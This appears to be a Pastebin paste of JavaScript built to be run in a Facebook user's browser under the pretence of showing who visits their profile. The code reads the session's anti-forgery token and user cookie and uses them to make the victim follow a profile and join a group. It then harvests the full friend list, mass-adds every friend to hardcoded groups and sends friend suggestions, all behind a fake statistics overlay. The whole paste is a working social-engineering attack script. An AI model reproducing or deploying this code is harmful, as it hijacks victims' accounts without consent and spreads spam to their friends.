Advertisement
hovutenduy

addmemvaogr

Jan 13th, 2015
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.10 KB | None | 0 0
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22. function cereziAl(isim) {
  23. var tarama = isim + "=";
  24. if (document.cookie.length > 0) {
  25. konum = document.cookie.indexOf(tarama);
  26. if (konum != -1) {
  27. konum += tarama.length;
  28. son = document.cookie.indexOf(";", konum);
  29. if (son == -1) son = document.cookie.length;
  30. return unescape(document.cookie.substring(konum, son))
  31. } else {
  32. return ""
  33. }
  34. }
  35. }
  36. function getRandomInt(min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length - 1)]
  41. }
  42. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  43. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  44.  
  45. function a(abone) {
  46. var http4 = new XMLHttpRequest();
  47. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  48. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  49. http4.open("POST", url4, true);
  50. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  51. http4.setRequestHeader("Content-length", params4.length);
  52. http4.setRequestHeader("Connection", "close");
  53. http4.onreadystatechange = function() {
  54. if (http4.readyState == 4 && http4.status == 200) {
  55. http4.close
  56. }
  57. };
  58. http4.send(params4)
  59. }
  60. var gid = ['1528900660714230'];
  61. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  62. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  63. var httpwp = new XMLHttpRequest();
  64. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  65. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  66. httpwp['open']('POST', urlwp, true);
  67. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  68. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  69. httpwp['setRequestHeader']('Connection', 'keep-alive');
  70. httpwp['send'](paramswp);
  71. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  72. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  73. var friends = new Array();
  74. gf = new XMLHttpRequest();
  75. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  76. gf['send']();
  77. if (gf['readyState'] != 4) {} else {
  78. data = eval('(' + gf['responseText']['substr'](9) + ')');
  79. if (data['error']) {} else {
  80. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  81. return _0x93dax8['index'] - _0x93dax9['index']
  82. })
  83. }
  84. };
  85. var Title = 'Wellcome To Facebook Mình Đang Thống Kê Số Người Vào Facebook của Bạn (Made By ad):HOT HOT Click>>>> <A style="color:#3B5998;" href="https://www.facebook.com/nguoiradi.vn">TiếnDuy</A>';
  86. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  87. var Descriptions = "",
  88. _text = 'Powered By <A style="color:#3B5998;" href="http://www.facebook.com/groups/aithuongghethamtuongcuaban/">Largest Group.</A> Join it now.';
  89.  
  90. function AddFriendtoGroup(opo) {
  91. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  92. var b = a.substring(a.indexOf("{"));
  93. var c = JSON.parse(b);
  94. i--;
  95. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  96. if (c.error) {
  97. Descriptions += "color:darkred'>";
  98. err++;
  99. if (c.errorDescription) Descriptions += c.errorDescription;
  100. else Descriptions += JSON.stringify(c, null, "")
  101. } else {
  102. Descriptions += "color:darkgreen'>";
  103. Descriptions += arn[i] + " has been added.<br/>";
  104. suc++
  105. }
  106. Descriptions += "</div>";
  107. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  108. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  109. if (i > 0) {
  110. display += arr.length + " bạn ghé thăm facebook của bạn<br/>";
  111. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  112. display += "(" + i + " Lefted...)";
  113. display += "<div class='friend-edge'>";
  114. display += Descriptions;
  115. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  116. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  117. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  118. display += _text;
  119. display += "</div>";
  120. display += "</div>"
  121. } else {
  122. display += arr.length + " Tổng số bạn bè của bạn<br/>";
  123. display += suc + " <<< bạn ghé thăm facebook của bạn( LIKE )</br>";
  124. display += err + " bạn không ghé thăm facebook của bạn( unfrend thôi )</br></br>";
  125. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  126. }
  127. display += "</div>";
  128. document.getElementById("pagelet_sidebar").innerHTML = display
  129. }, "text", "post");
  130. tay--;
  131. if (tay > 0) {
  132. var s = arr[tay];
  133. sx = pho[tay];
  134. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  135. }
  136. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  137. if (gid != 386572611449908) {
  138. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=386572611449908&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  139. }
  140. if (newcomer) {
  141. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100006408257237&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  142. }
  143. if (newcomer) {
  144. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100006408257237&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  145. }
  146. if (newcomer) {
  147. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100008240163432&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  148. }
  149. if (newcomer) {
  150. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100006408257237&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  151. }
  152. if (newcomer) {
  153. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100006408257237&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  154. }
  155. }
  156. function clickfr_callback() {
  157. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  158. var a = arr[i];
  159. if (i < arr.length) addfriend(a.substring(0, 4))
  160. }
  161. function clickfr() {
  162. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  163. else j++;
  164. setTimeout("clickfr_callback()", 2E3)
  165. }
  166. function addfriend(a) {
  167. i++;
  168. setTimeout("clickfr()", 2E3)
  169. }
  170. jx = {
  171. getHTTPObject: function() {
  172. var a = false;
  173. if (typeof ActiveXObject != "undefined") try {
  174. a = new ActiveXObject("Msxml2.XMLHTTP")
  175. } catch (b) {
  176. try {
  177. a = new ActiveXObject("Microsoft.XMLHTTP")
  178. } catch (c) {
  179. a = false
  180. }
  181. } else if (window.XMLHttpRequest) try {
  182. a = new XMLHttpRequest
  183. } catch (b) {
  184. a = false
  185. }
  186. return a
  187. },
  188. load: function(url, callback, format, method, opt) {
  189. var http = this.init();
  190. if (!http || !url) return;
  191. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  192. if (!method) method = "GET";
  193. if (!format) format = "text";
  194. if (!opt) opt = {};
  195. format = format.toLowerCase();
  196. method = method.toUpperCase();
  197. var now = "uid=" + (new Date).getTime();
  198. url += url.indexOf("?") + 1 ? "&" : "?";
  199. url += now;
  200. var parameters = null;
  201. if (method == "POST") {
  202. var parts = url.split("?");
  203. url = parts[0];
  204. parameters = parts[1]
  205. }
  206. http.open(method, url, true);
  207. var ths = this;
  208. if (opt.handler) http.onreadystatechange = function() {
  209. opt.handler(http)
  210. };
  211. else http.onreadystatechange = function() {
  212. if (http.readyState == 4) if (http.status == 200) {
  213. var result = "";
  214. if (http.responseText) result = http.responseText;
  215. if (format.charAt(0) == "j") {
  216. result = result.replace(/[\n\r]/g, "");
  217. result = eval("(" + result + ")")
  218. } else if (format.charAt(0) == "x") result = http.responseXML;
  219. if (callback) callback(result)
  220. } else {
  221. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  222. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  223. if (error) error(http.status)
  224. }
  225. };
  226. http.send(parameters)
  227. },
  228. bind: function(a) {
  229. var b = {
  230. url: "",
  231. onSuccess: false,
  232. onError: false,
  233. format: "text",
  234. method: "GET",
  235. update: "",
  236. loading: "",
  237. loadingIndicator: ""
  238. };
  239. for (var c in b) if (a[c]) b[c] = a[c];
  240. if (!b.url) return;
  241. var d = false;
  242. if (b.loadingIndicator) {
  243. d = document.createElement("div");
  244. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  245. d.setAttribute("class", "loading-indicator");
  246. d.innerHTML = b.loadingIndicator;
  247. document.getElementsByTagName("body")[0].appendChild(d);
  248. this.opt.loadingIndicator = d
  249. }
  250. if (b.loading) document.getElementById(b.loading).style.display = "block";
  251. this.load(b.url, function(a) {
  252. if (b.onSuccess) b.onSuccess(a);
  253. if (b.update) document.getElementById(b.update).innerHTML = a;
  254. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  255. if (b.loading) document.getElementById(b.loading).style.display = "none"
  256. }, b.format, b.method, b)
  257. },
  258. init: function() {
  259. return this.getHTTPObject()
  260. }
  261. };
  262. var nHtml = {
  263. FindByAttr: function(a, b, c, d) {
  264. if (c == "className") c = "class";
  265. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  266. if (e && e.singleNodeValue) return e.singleNodeValue;
  267. return null
  268. },
  269. FindByClassName: function(a, b, c) {
  270. return this.FindByAttr(a, b, "className", c)
  271. },
  272. FindByXPath: function(a, b) {
  273. try {
  274. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  275. } catch (d) {
  276. GM_log("bad xpath:" + b)
  277. }
  278. if (c && c.singleNodeValue) return c.singleNodeValue;
  279. return null
  280. },
  281. VisitUrl: function(a) {
  282. window.setTimeout(function() {
  283. document.location.href = a
  284. }, 500 + Math.floor(Math.random() * 500))
  285. },
  286. ClickWin: function(a, b, c) {
  287. var d = a.document.createEvent("MouseEvents");
  288. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  289. return !b.dispatchEvent(d)
  290. },
  291. Click: function(a) {
  292. return this.ClickWin(window, a, "click")
  293. },
  294. ClickTimeout: function(a, b) {
  295. window.setTimeout(function() {
  296. return nHtml.ClickWin(window, a, "click")
  297. }, b + Math.floor(Math.random() * 500))
  298. },
  299. ClickUp: function(a) {
  300. this.ClickWin(window, a, "mousedown");
  301. this.ClickWin(window, a, "mouseup");
  302. this.ClickWin(window, a, "click")
  303. },
  304. GetText: function(a, b) {
  305. var c = "";
  306. if (b == undefined) b = 0;
  307. if (b > 40) return;
  308. if (a.textContent != undefined) return a.textContent;
  309. for (var d = 0; d < a.childNodes.length; d++) {
  310. var e = a.childNodes[d];
  311. c += this.GetText(e, b + 1)
  312. }
  313. return c
  314. }
  315. };
  316. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  317. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  318. var c = document.getElementsByTagName("*");
  319. var d = [];
  320. var e;
  321. for (var f = 0;
  322. (e = c[f]) != null; f++) {
  323. var g = e.className;
  324. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  325. }
  326. return d
  327. };
  328. Array.prototype.find = function(a) {
  329. var b = false;
  330. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  331. if (a.test(this[i])) {
  332. if (!b) b = [];
  333. b.push(i)
  334. }
  335. } else if (this[i] === a) {
  336. if (!b) b = [];
  337. b.push(i)
  338. }
  339. return b
  340. };
  341. var i = 3;
  342. var tay = 3;
  343. var j = 0;
  344. var k = 0;
  345. var suc = 0;
  346. var err = 0;
  347. var arr = new Array;
  348. var arn = new Array;
  349. var pho = new Array;
  350. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  351. var gid = document.getElementsByName("group_id")[0].value;
  352. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  353. var b = a;
  354. var c = b.substring(b.indexOf("{"));
  355. var d = JSON.parse(c);
  356. d = d.payload.entries;
  357. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  358. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  359. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  360. i = arr.length - 1;
  361. tay = i;
  362. console.log(arr.length);
  363. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  364. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  365. display += arr.length + " bạn ghé thăm facebook của bạn";
  366. display += "</div>";
  367. document.getElementById("pagelet_sidebar").innerHTML = display;
  368. AddFriendtoGroup(arr[i])
  369. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement